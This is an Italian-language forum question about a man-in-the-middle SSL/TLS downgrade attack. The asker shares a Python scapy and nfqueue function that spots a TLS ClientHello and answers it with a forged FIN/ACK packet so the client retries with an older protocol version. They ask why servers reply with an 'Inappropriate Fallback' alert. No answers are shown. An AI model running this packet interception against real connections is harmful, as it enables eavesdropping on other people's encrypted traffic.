Attacco di downgrade SSLv3 - evitando l'avviso di fallback

1

So che non funzionerà su tutti i server perché alcuni non consentono SSLv3 ma ho provato molti server e il mio attacco non sembra funzionare.

Per ora, tento di eseguire il downgrade a TLS 1.0 (riconosciuto anche dal numero 769 nel protocollo).

Ho una configurazione MITM completa con la capacità di intercettare i pacchetti come il mio desiderio. Ora, ho uno script che filtra i pacchetti per me e così ogni volta che la vittima (anche se è solo un mio dispositivo personale) prova a inviare un ClientHello , controllo la versione della conversazione che sta tentando di avviare - se il numero è maggiore di 769 (TLS 1.0) invio un messaggio FIN, ACK nel nome del server.

Ora, il client tenta di connettersi di nuovo ma questa volta con una versione più bassa e così via - fino a raggiungere TLS 1.0 (769) e poi accetto il pacchetto e lascia che la connessione continui.

Il problema è che il server invia Alert (Level: Fatal, Description: Inappropriate Fallback) in risposta. Questo ha a che fare con il server che non supporta TLSv1? Perché ho difficoltà a credere che un server decente in questi giorni non supporti TLSv1.

Ora, nell'articolo che ho citato, mostrano che hanno fatto il downgrade di Facebook. Per qualche motivo, non funziona nel mio setup - ecco il mio setup (sto usando libnfqueue e scapy ):

def print_and_accept(pkt):
    spkt = IP(pkt.get_payload())

    if re.search('\x16\x03\x01.{2}\x01', str(spkt), flags=0): #Checking for TLS Client Hello
        if spkt[TLSClientHello].version > 769: #tlsv1 - although should actually be sslv3, not tlsv1
            new_packet = IP(dst=spkt[IP].dst, src=spkt[IP].src)/TCP() #FIN, ACK packet
            new_packet[TCP].sport = spkt[TCP].sport
            new_packet[TCP].dport = spkt[TCP].dport
            new_packet[TCP].seq = spkt[TCP].seq
            new_packet[TCP].ack = spkt[TCP].ack
            new_packet[TCP].flags = 'FA' #Setting flags to fin, ack
            pkt.set_payload(str(new_packet))
    pkt.accept()
    
posta Zach P 02.11.2016 - 15:01
fonte

0 risposte

Leggi altre domande sui tag